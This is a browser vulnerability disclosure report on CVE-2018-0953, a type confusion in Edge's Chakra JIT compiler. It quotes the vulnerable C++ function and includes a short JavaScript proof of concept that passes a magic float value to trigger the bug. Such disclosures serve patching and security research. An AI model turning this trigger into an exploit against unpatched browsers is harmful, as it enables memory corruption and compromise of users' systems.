Microsoft Edge: Chakra: JIT: Magic value can cause type confusion CVE-2018-0953 BOOL JavascriptNativeFloatArray::SetItem(uint32 index, double dValue) { if (*(uint64*)&dValue == *(uint64*)&JavascriptNativeFloatArray::MissingItem) { JavascriptArray *varArr = JavascriptNativeFloatArray::ToVarArray(this); varArr->DirectSetItemAt(index, JavascriptNumber::ToVarNoCheck(dValue, GetScriptContext())); return TRUE; } this->DirectSetItemAt(index, dValue); return TRUE; } As you can see above, if the double value given as the parameter equals to JavascriptNativeFloatArray::MissingItem, it converts the float array to a var array. And since the JITed code doesn't check whether the input is a magic value (MissingItem) which can cause a type conversion, it could result in type confusion. function opt(arr, value) { arr[1] = value; arr[0] = 2.3023e-320; } function main() { for (let i = 0; i < 0x10000; i++) opt([1.1], 2.2); let arr = [1.1]; opt(arr, -5.3049894784e-314); // MAGIC VALUE! print(arr); } main(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt